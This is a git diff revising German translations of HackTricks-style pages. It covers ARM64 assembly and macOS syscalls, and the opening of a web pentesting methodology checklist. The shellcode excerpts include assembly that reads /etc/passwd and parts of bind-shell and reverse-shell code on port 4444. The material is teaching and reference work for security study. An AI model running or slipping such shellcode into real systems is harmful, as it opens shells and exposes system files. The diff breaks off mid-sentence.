-> Wenn wahr, Xd = 1, sonst Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Wenn wahr, Xd = \, sonst Xd = 0 +- **`adrp`**: Berechnet die **Page-Adresse eines Symbols** und speichert sie in einem Register. +- Beispiel: `adrp x0, symbol` — Dies berechnet die Page-Adresse von `symbol` und speichert sie in `x0`. +- **`ldrsw`**: **Lädt** einen signierten **32-Bit**-Wert aus dem Speicher und **sign-extendet ihn auf 64 Bit**. +- Beispiel: `ldrsw x0, [x1]` — Dies lädt einen signierten 32-Bit-Wert aus der Speicheradresse, auf die `x1` zeigt, sign-extendet ihn auf 64 Bit und speichert ihn in `x0`. +- **`stur`**: **Speichert** einen Registerwert an einer Speicheradresse, wobei ein Offset von einem anderen Register verwendet wird. +- Beispiel: `stur x0, [x1, #4]` — Dies speichert den Wert in `x0` in die Speicheradresse, die 4 Bytes größer ist als die Adresse in `x1`. +- **`svc`**: Führt einen **System Call** aus. Es steht für "Supervisor Call". Wenn der Prozessor diese Instruktion ausführt, **wechselt er vom User Mode in den Kernel Mode** und springt zu einer bestimmten Stelle im Speicher, an der der Kernel-Code zur Behandlung von System Calls liegt. - Beispiel: ```armasm -mov x8, 93 ; Lade die Systemaufrufnummer für exit (93) in das Register x8. -mov x0, 0 ; Lade den Exit-Statuscode (0) in das Register x0. -svc 0 ; Führe den Systemaufruf aus. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Funktionsprolog** +### **Function Prologue** -1. **Speichere das Link-Register und den Frame-Zeiger im Stack**: +1. **Save the link register and frame pointer to the stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Richten Sie den neuen Frame-Zeiger ein**: `mov x29, sp` (richtet den neuen Frame-Zeiger für die aktuelle Funktion ein) -3. **Reservieren Sie Speicher auf dem Stack für lokale Variablen** (falls erforderlich): `sub sp, sp, ` (wobei `` die benötigte Anzahl von Bytes ist) +2. **Setze den neuen Frame-Zeiger**: `mov x29, sp` (richtet den neuen Frame-Zeiger für die aktuelle Funktion ein) +3. **Platz auf dem Stack für lokale Variablen reservieren** (falls erforderlich): `sub sp, sp, ` (wobei `` die benötigte Anzahl an Bytes ist) ### **Funktions-Epilog** -1. **Geben Sie lokale Variablen frei (falls welche zugewiesen wurden)**: `add sp, sp, ` -2. **Stellen Sie das Link-Register und den Frame-Zeiger wieder her**: +1. **Lokale Variablen freigeben (falls welche reserviert wurden)**: `add sp, sp, ` +2. **Link-Register und Frame-Zeiger wiederherstellen**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (gibt die Kontrolle an den Aufrufer zurück, indem die Adresse im Link-Register verwendet wird) +3. **Rückgabe**: `ret` (gibt die Kontrolle an den Aufrufer unter Verwendung der Adresse im Link-Register zurück) ## AARCH32 Ausführungszustand -Armv8-A unterstützt die Ausführung von 32-Bit-Programmen. **AArch32** kann in einem von **zwei Befehlssätzen** laufen: **`A32`** und **`T32`** und kann zwischen ihnen über **`interworking`** wechseln.\ -**Privilegierte** 64-Bit-Programme können die **Ausführung von 32-Bit**-Programmen planen, indem sie einen Ausnahmeebenenübergang zur weniger privilegierten 32-Bit-Ebene ausführen.\ -Beachten Sie, dass der Übergang von 64-Bit zu 32-Bit mit einer Senkung der Ausnahmeebene erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem das **Bit 4 von** **`SPSR_ELx`**-Sonderregister **auf 1** gesetzt wird, wenn der `AArch32`-Prozess-Thread bereit ist, ausgeführt zu werden, und der Rest von `SPSR_ELx` speichert die **`AArch32`**-Programme CPSR. Dann ruft der privilegierte Prozess die **`ERET`**-Anweisung auf, damit der Prozessor zu **`AArch32`** wechselt und in A32 oder T32 je nach CPSR** eintritt.** +Armv8-A unterstützt die Ausführung von 32-Bit-Programmen. **AArch32** kann in einem von **zwei Befehlssätzen** laufen: **`A32`** und **`T32`** und kann mittels **`interworking`** zwischen ihnen wechseln.\ +**Privilegierte** 64-Bit-Programme können die **Ausführung von 32-Bit**-Programmen veranlassen, indem sie einen Exception-Level-Transfer auf das weniger privilegierte 32-Bit durchführen.\ +Beachte, dass der Übergang von 64-Bit zu 32-Bit mit einem niedrigeren Exception-Level erfolgt (zum Beispiel ein 64-Bit-Programm in EL1, das ein Programm in EL0 auslöst). Dies geschieht, indem Bit 4 des speziellen Registers **`SPSR_ELx`** auf 1 gesetzt wird, wenn der `AArch32`-Prozessthread zur Ausführung bereit ist, und der Rest von **`SPSR_ELx`** das CPSR des `AArch32`-Programms speichert. Anschließend ruft der privilegierte Prozess die **`ERET`**-Anweisung auf, sodass der Prozessor zu **`AArch32`** wechselt und in A32 oder T32 eintritt, abhängig vom CPSR. -Das **`interworking`** erfolgt unter Verwendung der J- und T-Bits des CPSR. `J=0` und `T=0` bedeutet **`A32`** und `J=0` und `T=1` bedeutet **T32**. Dies bedeutet im Wesentlichen, dass das **niedrigste Bit auf 1** gesetzt wird, um anzuzeigen, dass der Befehlssatz T32 ist.\ -Dies wird während der **interworking branch instructions** gesetzt, kann aber auch direkt mit anderen Anweisungen gesetzt werden, wenn der PC als Zielregister festgelegt ist. Beispiel: +Das **`interworking`** erfolgt über die J- und T-Bits des CPSR. `J=0` und `T=0` bedeutet **`A32`** und `J=0` und `T=1` bedeutet **T32**. Das bedeutet im Grunde, dass das **niedrigste Bit auf 1** gesetzt wird, um anzuzeigen, dass das Instruction Set T32 ist.\ +Dies wird während der **interworking branch instructions** gesetzt, kann aber auch direkt mit anderen Instruktionen gesetzt werden, wenn das PC als Zielregister gesetzt wird. Beispiel: Ein weiteres Beispiel: ```armasm @@ -264,60 +267,60 @@ mov r0, #8 ``` ### Register -Es gibt 16 32-Bit-Register (r0-r15). **Von r0 bis r14** können sie für **jede Operation** verwendet werden, jedoch sind einige von ihnen normalerweise reserviert: +There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved: -- **`r15`**: Programmzähler (immer). Enthält die Adresse der nächsten Anweisung. In A32 aktuell + 8, in T32, aktuell + 4. +- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4. - **`r11`**: Frame Pointer -- **`r12`**: Intra-prozeduraler Aufrufregister -- **`r13`**: Stack Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Beachte, dass der Stack immer 16-Byte-ausgerichtet ist) - **`r14`**: Link Register -Darüber hinaus werden Register in **`banked registries`** gesichert. Dies sind Orte, die die Werte der Register speichern und einen **schnellen Kontextwechsel** bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um die Notwendigkeit zu vermeiden, die Register jedes Mal manuell zu speichern und wiederherzustellen.\ -Dies geschieht durch **Speichern des Prozessorstatus von `CPSR` in `SPSR`** des Prozessormodus, in den die Ausnahme auftritt. Bei der Rückkehr von der Ausnahme wird der **`CPSR`** aus dem **`SPSR`** wiederhergestellt. +Moreover, registers are backed up in **`banked registries`**. Das sind Speicherstellen, die die Registerwerte sichern und so ein **schnelles Context-Switching** bei der Ausnahmebehandlung und privilegierten Operationen ermöglichen, um das manuelle Speichern und Wiederherstellen der Register zu vermeiden.\ +Dies geschieht, indem der Prozessorzustand vom `CPSR` in das `SPSR` des Prozessormodus gespeichert wird, in den die Exception übergeht. Beim Zurückkehren aus der Exception wird das **`CPSR`** aus dem **`SPSR`** wiederhergestellt. -### CPSR - Aktueller Programmstatusregister +### CPSR - Current Program Status Register -In AArch32 funktioniert der CPSR ähnlich wie **`PSTATE`** in AArch64 und wird auch in **`SPSR_ELx`** gespeichert, wenn eine Ausnahme auftritt, um die Ausführung später wiederherzustellen: +In AArch32 funktioniert das CPSR ähnlich wie **`PSTATE`** in AArch64 und wird ebenfalls in **`SPSR_ELx`** gespeichert, wenn eine Exception ausgelöst wird, um die Ausführung später wiederherzustellen:
-Die Felder sind in einige Gruppen unterteilt: +Die Felder sind in mehrere Gruppen unterteilt: -- Application Program Status Register (APSR): Arithmetische Flags und zugänglich von EL0 -- Ausführungsstatusregister: Prozessverhalten (verwaltet vom OS). +- Application Program Status Register (APSR): Arithmetische Flags und von EL0 zugänglich +- Execution State Registers: Prozessverhalten (vom OS verwaltet). #### Application Program Status Register (APSR) -- Die **`N`**, **`Z`**, **`C`**, **`V`** Flags (genau wie in AArch64) -- Das **`Q`** Flag: Es wird auf 1 gesetzt, wann immer **ganzzahlige Sättigung auftritt** während der Ausführung einer spezialisierten saturierenden arithmetischen Anweisung. Sobald es auf **`1`** gesetzt ist, behält es den Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Anweisung, die seinen Wert implizit überprüft, dies muss manuell durch Lesen erfolgen. -- **`GE`** (Größer oder gleich) Flags: Es wird in SIMD (Single Instruction, Multiple Data) Operationen verwendet, wie "parallele Addition" und "parallele Subtraktion". Diese Operationen ermöglichen die Verarbeitung mehrerer Datenpunkte in einer einzigen Anweisung. +- Die **`N`**, **`Z`**, **`C`**, **`V`** Flags (wie in AArch64) +- Das **`Q`**-Flag: Es wird auf 1 gesetzt, wann immer während der Ausführung einer spezialisierten saturierenden arithmetischen Instruktion eine **Integer-Sättigung** auftritt. Sobald es auf **`1`** gesetzt ist, behält es diesen Wert, bis es manuell auf 0 gesetzt wird. Darüber hinaus gibt es keine Instruktion, die seinen Wert implizit prüft; die Prüfung muss manuell durch Auslesen erfolgen. +- **`GE`** (Greater than or equal) Flags: Wird in SIMD-Operationen (Single Instruction, Multiple Data) verwendet, wie etwa "parallel add" und "parallel subtract". Diese Operationen erlauben die Verarbeitung mehrerer Datenpunkte in einer einzigen Instruktion. -Zum Beispiel addiert die **`UADD8`** Anweisung **vier Byte-Paare** (von zwei 32-Bit-Operanden) parallel und speichert die Ergebnisse in einem 32-Bit-Register. Sie **setzt dann die `GE` Flags im `APSR`** basierend auf diesen Ergebnissen. Jedes GE-Flag entspricht einer der Byte-Addition, die angibt, ob die Addition für dieses Byte-Paar **übergelaufen** ist. +Zum Beispiel addiert die **`UADD8`**-Instruktion **vier Byte-Paare** (aus zwei 32-Bit-Operanden) parallel und speichert die Ergebnisse in einem 32-Bit-Register. Sie setzt anschließend die **`GE`-Flags im `APSR`** basierend auf diesen Ergebnissen. Jedes GE-Flag entspricht einer der Byte-Additionen und zeigt an, ob die Addition für dieses Byte-Paar **übergelaufen** ist. -Die **`SEL`** Anweisung verwendet diese GE-Flags, um bedingte Aktionen durchzuführen. +Die **`SEL`**-Instruktion verwendet diese GE-Flags, um bedingte Aktionen auszuführen. -#### Ausführungsstatusregister +#### Execution State Registers -- Die **`J`** und **`T`** Bits: **`J`** sollte 0 sein und wenn **`T`** 0 ist, wird der Befehlssatz A32 verwendet, und wenn er 1 ist, wird T32 verwendet. -- **IT Block Status Register** (`ITSTATE`): Dies sind die Bits von 10-15 und 25-26. Sie speichern Bedingungen für Anweisungen innerhalb einer **`IT`**-präfixierten Gruppe. -- **`E`** Bit: Gibt die **Endianness** an. -- **Mode und Ausnahme-Maskenbits** (0-4): Sie bestimmen den aktuellen Ausführungsstatus. Das **5.** gibt an, ob das Programm als 32-Bit (eine 1) oder 64-Bit (eine 0) läuft. Die anderen 4 repräsentieren den **aktuell verwendeten Ausnahmemodus** (wenn eine Ausnahme auftritt und behandelt wird). Die gesetzte Zahl **gibt die aktuelle Priorität** an, falls eine andere Ausnahme ausgelöst wird, während diese behandelt wird. +- Die **`J`**- und **`T`**-Bits: **`J`** sollte 0 sein; wenn **`T`** 0 ist, wird das Instruktionsset A32 verwendet, und wenn es 1 ist, wird T32 verwendet. +- **IT Block State Register** (`ITSTATE`): Dies sind die Bits 10-15 und 25-26. Sie speichern Bedingungen für Instruktionen innerhalb einer mit **`IT`** vorangestellten Gruppe. +- **`E`**-Bit: Gibt die **Endianness** an. +- **Mode and Exception Mask Bits** (0-4): Bestimmen den aktuellen Ausführungszustand. Das **5. Bit** zeigt an, ob das Programm als 32bit (1) oder 64bit (0) läuft. Die anderen 4 repräsentieren den **derzeit verwendeten Exception-Modus** (wenn eine Exception auftritt und behandelt wird). Die gesetzte Zahl **gibt die aktuelle Priorität** an, falls während der Behandlung eine weitere Exception ausgelöst wird.
-- **`AIF`**: Bestimmte Ausnahmen können mit den Bits **`A`**, `I`, `F` deaktiviert werden. Wenn **`A`** 1 ist, bedeutet das, dass **asynchrone Abbrüche** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs). und das F bezieht sich auf **Fast Interrupt Requests** (FIRs). +- **`AIF`**: Bestimmte Exceptions können durch die Bits **`A`**, `I`, `F` deaktiviert werden. Ist **`A`** 1, bedeutet das, dass **asynchrone Aborts** ausgelöst werden. Das **`I`** konfiguriert die Reaktion auf externe Hardware **Interrupt Requests** (IRQs), und `F` bezieht sich auf **Fast Interrupt Requests** (FIRs). ## macOS ### BSD syscalls -Schau dir [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) an. BSD syscalls haben **x16 > 0**. +Siehe [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) oder führe `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` aus. BSD syscalls haben **x16 > 0**. ### Mach Traps -Schau dir in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` an und in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die Prototypen. Die maximale Anzahl von Mach-Traps ist `MACH_TRAP_TABLE_COUNT` = 128. Mach-Traps haben **x16 < 0**, also musst du die Zahlen aus der vorherigen Liste mit einem **Minus** aufrufen: **`_kernelrpc_mach_vm_allocate_trap`** ist **`-10`**. +Siehe in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) die `mach_trap_table` und in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) die Prototypen. Die maximale Anzahl der Mach-Traps ist `MACH_TRAP_TABLE_COUNT` = 128. Mach-Traps haben **x16 < 0**, daher muss man die Nummern aus der vorherigen Liste mit einem Minus aufrufen: **`_kernelrpc_mach_vm_allocate_trap`** ist **`-10`**. -Du kannst auch **`libsystem_kernel.dylib`** in einem Disassembler überprüfen, um herauszufinden, wie man diese (und BSD) syscalls aufruft: +Du kannst auch **`libsystem_kernel.dylib`** in einem Disassembler prüfen, um herauszufinden, wie diese (und BSD-) syscalls aufgerufen werden: ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Beachten Sie, dass **Ida** und **Ghidra** auch **spezifische dylibs** aus dem Cache dekompilieren können, indem sie einfach den Cache übergeben. +Beachte, dass **Ida** und **Ghidra** auch **specific dylibs** aus dem Cache dekompilieren können, indem man einfach den Cache übergibt. > [!TIP] -> Manchmal ist es einfacher, den **dekompilierten** Code von **`libsystem_kernel.dylib`** **zu überprüfen**, als den **Quellcode** zu überprüfen, da der Code mehrerer Syscalls (BSD und Mach) über Skripte generiert wird (siehe Kommentare im Quellcode), während Sie in der dylib finden können, was aufgerufen wird. +> Manchmal ist es einfacher, den **dekompilierten** Code von **`libsystem_kernel.dylib`** zu prüfen **als** den **Quellcode** zu prüfen, weil der Code mehrerer syscalls (BSD und Mach) mittels Skripten generiert wird (siehe Kommentare im Quellcode), während du in der dylib finden kannst, was tatsächlich aufgerufen wird. -### machdep Aufrufe +### machdep calls -XNU unterstützt eine andere Art von Aufrufen, die maschinenabhängig sind. Die Anzahl dieser Aufrufe hängt von der Architektur ab, und weder die Aufrufe noch die Zahlen sind garantiert konstant. +XNU unterstützt einen anderen Typ von Aufrufen, die "machine dependent" genannt werden. Die Nummern dieser Aufrufe hängen von der Architektur ab und weder die Aufrufe noch die Nummern sind garantiert konstant. -### comm Seite +### comm page -Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt ist. Sie soll den Übergang vom Benutzermodus in den Kernelraum schneller machen, als Syscalls für Kernel-Dienste zu verwenden, die so häufig genutzt werden, dass dieser Übergang sehr ineffizient wäre. +Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt wird. Sie soll den Übergang vom Benutzermodus in den Kernelmodus schneller machen als die Nutzung von syscalls für Kernel‑Dienste, die so häufig verwendet werden, dass dieser Übergang sehr ineffizient wäre. -Zum Beispiel liest der Aufruf `gettimeofdate` den Wert von `timeval` direkt von der comm Seite. +Zum Beispiel liest der Aufruf `gettimeofdate` den Wert von `timeval` direkt aus der comm page. ### objc_msgSend -Es ist sehr häufig, diese Funktion in Objective-C- oder Swift-Programmen zu finden. Diese Funktion ermöglicht es, eine Methode eines Objective-C-Objekts aufzurufen. +Es ist sehr häufig, diese Funktion in Objective-C- oder Swift-Programmen zu finden. Diese Funktion ermöglicht das Aufrufen einer Methode eines Objective‑C‑Objekts. -Parameter ([weitere Informationen in den Dokumenten](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): +Parameter ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Zeiger auf die Instanz -- x1: op -> Selektor der Methode +- x1: op -> Selector der Methode - x2... -> Rest der Argumente der aufgerufenen Methode -Wenn Sie also einen Breakpoint vor dem Sprung zu dieser Funktion setzen, können Sie leicht herausfinden, was in lldb aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von `NSConcreteTask` auf, das einen Befehl ausführen wird): +Wenn du also einen Breakpoint vor dem Branch zu dieser Funktion setzt, kannst du im lldb leicht herausfinden, was aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von `NSConcreteTask` auf, das einen Befehl ausführt): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +372,31 @@ whoami ) ``` > [!TIP] -> Durch das Setzen der Umgebungsvariable **`NSObjCMessageLoggingEnabled=1`** ist es möglich, zu protokollieren, wann diese Funktion in einer Datei wie `/tmp/msgSends-pid` aufgerufen wird. +> Wenn die Umgebungsvariable **`NSObjCMessageLoggingEnabled=1`** gesetzt ist, ist es möglich zu protokollieren, wann diese Funktion aufgerufen wird — in einer Datei wie `/tmp/msgSends-pid`. > -> Darüber hinaus kann durch das Setzen von **`OBJC_HELP=1`** und das Aufrufen einer beliebigen Binärdatei gesehen werden, welche anderen Umgebungsvariablen verwendet werden können, um **log** zu protokollieren, wann bestimmte Objc-C-Aktionen auftreten. +> Wenn zusätzlich **`OBJC_HELP=1`** gesetzt ist und man ein beliebiges Binary aufruft, kann man weitere Umgebungsvariablen sehen, die man verwenden kann, um zu **protokollieren**, wann bestimmte Objc-C-Aktionen auftreten. -Wenn diese Funktion aufgerufen wird, ist es notwendig, die aufgerufene Methode der angegebenen Instanz zu finden. Dazu werden verschiedene Suchen durchgeführt: +Wenn diese Funktion aufgerufen wird, muss die aufgerufene Methode der angegebenen Instanz gefunden werden; dafür werden verschiedene Suchen durchgeführt: -- Führen Sie eine optimistische Cache-Suche durch: -- Wenn erfolgreich, fertig -- Erwerben Sie runtimeLock (lesen) -- Wenn (realize && !cls->realized) Klasse realisieren -- Wenn (initialize && !cls->initialized) Klasse initialisieren -- Versuchen Sie den eigenen Cache der Klasse: -- Wenn erfolgreich, fertig -- Versuchen Sie die Methodenliste der Klasse: -- Wenn gefunden, Cache füllen und fertig -- Versuchen Sie den Cache der Superklasse: -- Wenn erfolgreich, fertig -- Versuchen Sie die Methodenliste der Superklasse: -- Wenn gefunden, Cache füllen und fertig -- Wenn (resolver) versuchen Sie den Methodenresolver und wiederholen Sie die Suche von der Klassensuche -- Wenn Sie immer noch hier sind (= alles andere ist fehlgeschlagen) versuchen Sie den Forwarder +- Führe einen optimistischen Cache-Lookup durch: +- Bei Erfolg: erledigt +- runtimeLock (read) erwerben +- Wenn (realize && !cls->realized) → Klasse realisieren +- Wenn (initialize && !cls->initialized) → Klasse initialisieren +- Klassen-eigenen Cache prüfen: +- Bei Erfolg: erledigt +- Methodenliste der Klasse prüfen: +- Bei Fund: Cache füllen und erledigt +- Cache der Superklasse prüfen: +- Bei Erfolg: erledigt +- Methodenliste der Superklasse prüfen: +- Bei Fund: Cache füllen und erledigt +- Wenn (resolver): method resolver versuchen und ab class lookup wiederholen +- Wenn immer noch hier (= alles andere fehlgeschlagen): forwarder versuchen ### Shellcodes -Um zu kompilieren: +Zum Kompilieren: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -417,7 +420,7 @@ done ```
-C-Code zum Testen des Shellcodes +C-Code zum Testen von shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader @@ -467,7 +470,7 @@ return 0; #### Shell -Entnommen von [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) und erklärt. +Entnommen von [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) und erklärt. {{#tabs}} {{#tab name="with adr"}} @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="mit Stack"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="mit adr für linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Mit cat lesen -Das Ziel ist es, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` auszuführen, sodass das zweite Argument (x1) ein Array von Parametern ist (was im Speicher einen Stack der Adressen bedeutet). +Das Ziel ist es, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` auszuführen, daher ist das zweite Argument (x1) ein Array von params (was im Speicher einem Stack der addresses entspricht). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Befehl mit sh aus einem Fork aufrufen, damit der Hauptprozess nicht beendet wird +#### Befehl mit sh aus einem fork aufrufen, damit der Hauptprozess nicht beendet wird ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell von [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444** +Bind shell von [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) auf **Port 4444** ```armasm .section __TEXT,__text .global _main @@ -693,7 +696,7 @@ mov x2, xzr mov x16, #59 svc #0x1337 ``` -#### Reverse Shell +#### Reverse shell Von [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell zu **127.0.0.1:4444** ```armasm diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index a66b373fb..d9569fb24 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Pentesting Web Methodik +# 80,443 - Pentesting Web-Methodik {{#include ../../banners/hacktricks-training.md}} ## Grundlegende Informationen -Der Web-Service ist der **häufigste und umfangreichste Dienst** und es gibt viele **verschiedene Arten von Schwachstellen**. +Der Webservice ist der **häufigste und umfangreichste Service** und es gibt viele **verschiedene Arten von Schwachstellen**. -**Standardport:** 80 (HTTP), 443 (HTTPS) +**Standardport:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -17,45 +17,45 @@ PORT STATE SERVICE nc -v domain.com 80 # GET / HTTP/1.0 openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ``` -### Web-API-Leitfaden +### Leitfaden für Web-APIs {{#ref}} web-api-pentesting.md {{#endref}} -## Methodologie-Übersicht +## Zusammenfassung der Methodik -> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) und nur diese angreifen. Wenden Sie diese Methodik also auf jede entdeckte Domain, Subdomain oder IP mit einem innerhalb des Scopes nicht näher bestimmten Webserver an. +> In dieser Methodik gehen wir davon aus, dass Sie eine Domain (oder Subdomain) und nur diese angreifen werden. Wenden Sie diese Methodik auf jede entdeckte Domain, Subdomain oder IP mit unbestimmtem Webserver im Scope an. -- [ ] Beginnen Sie damit, die vom Webserver verwendeten **Technologien** zu **identifizieren**. Suchen Sie nach **Tricks**, die Sie während des weiteren Tests beachten sollten, falls Sie die Tech erfolgreich identifizieren können. -- [ ] Gibt es **bekannte Schwachstellen** in der **Version** der Technologie? -- [ ] Nutzt die Anwendung irgendeine **bekannte Technologie**? Gibt es einen **nützlichen Trick**, um mehr Informationen zu extrahieren? -- [ ] Gibt es einen **spezialisierten Scanner** zum Ausführen (z. B. wpscan)? -- [ ] Starten Sie **Scanner für allgemeine Zwecke**. Man weiß nie, ob sie etwas finden oder interessante Informationen liefern. -- [ ] Beginnen Sie mit den **Initialprüfungen**: **robots**, **sitemap**, **404**-Fehler und **SSL/TLS scan** (bei HTTPS). -- [ ] Starten Sie mit dem **spidering** der Webseite: Es ist Zeit, alle möglichen **Dateien, Ordner** und **verwendeten Parameter** zu **finden**. Prüfen Sie auch auf **besondere Funde**. -- [ ] _Beachte, dass jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, es spidered werden sollte._ -- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner mittels brute force zu durchsuchen, um neue **Dateien** und **Verzeichnisse** zu finden. -- [ ] _Beachte, dass jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, es Brute-Forced werden sollte._ -- [ ] **Backups checking**: Prüfen Sie, ob Sie **Backups** der **entdeckten Dateien** finden können, indem Sie gängige Backup-Erweiterungen anhängen. -- [ ] **Brute-Force parameters**: Versuchen Sie, **versteckte Parameter** zu finden. -- [ ] Sobald Sie alle möglichen **endpoints** identifiziert haben, die **user input** akzeptieren, prüfen Sie alle Arten von damit zusammenhängenden **Schwachstellen**. -- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Beginnen Sie damit, die vom Webserver verwendeten **technologies** zu **identifying**. Achten Sie auf **tricks**, die Sie während des weiteren Tests beachten sollten, wenn Sie die Tech erfolgreich identifizieren können. +- [ ] Gibt es eine **known vulnerability** der Version der Technologie? +- [ ] Wird eine **well known tech** verwendet? Gibt es einen **useful trick**, um mehr Informationen zu extrahieren? +- [ ] Gibt es einen **specialised scanner** zum Ausführen (z. B. wpscan)? +- [ ] Setzen Sie **general purposes scanners** ein. Man weiß nie, ob sie etwas finden oder nützliche Informationen liefern. +- [ ] Beginnen Sie mit den **initial checks**: **robots**, **sitemap**, **404** error und **SSL/TLS scan** (if HTTPS). +- [ ] Start **spidering** der Webseite: Es ist Zeit, alle möglichen **files, folders** und **parameters being used** zu **finden**. Prüfen Sie auch auf **special findings**. +- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es gespidert werden._ +- [ ] **Directory Brute-Forcing**: Versuchen Sie, alle entdeckten Ordner zu brute-forcen, um neue **files** und **directories** zu finden. +- [ ] _Hinweis: Jedes Mal, wenn während des brute-forcing oder spidering ein neues Verzeichnis entdeckt wird, sollte es Brute-Forced werden._ +- [ ] **Backups checking**: Prüfen Sie, ob Sie **backups** von **entdeckten files** finden können, indem Sie gängige Backup-Erweiterungen anhängen. +- [ ] **Brute-Force parameters**: Versuchen Sie, **hidden parameters** zu finden. +- [ ] Sobald Sie alle möglichen **endpoints** identifiziert haben, die **user input** akzeptieren, prüfen Sie auf alle Arten von **vulnerabilities**, die damit zusammenhängen. +- [ ] [Folgen Sie dieser Checkliste](../../pentesting-web/web-vulnerabilities-methodology.md) -## Server-Version (verwundbar?) +## Server Version (Vulnerable?) -### Identifizieren +### Identify -Prüfen Sie, ob es **bekannte Schwachstellen** für die aktuell laufende Server-**Version** gibt.\ -Die **HTTP-Header und Cookies der Antwort** können sehr nützlich sein, um die **Technologien** und/oder die verwendete **Version** zu **identifizieren**. Ein **Nmap-Scan** kann die Server-Version identifizieren, aber auch die Tools 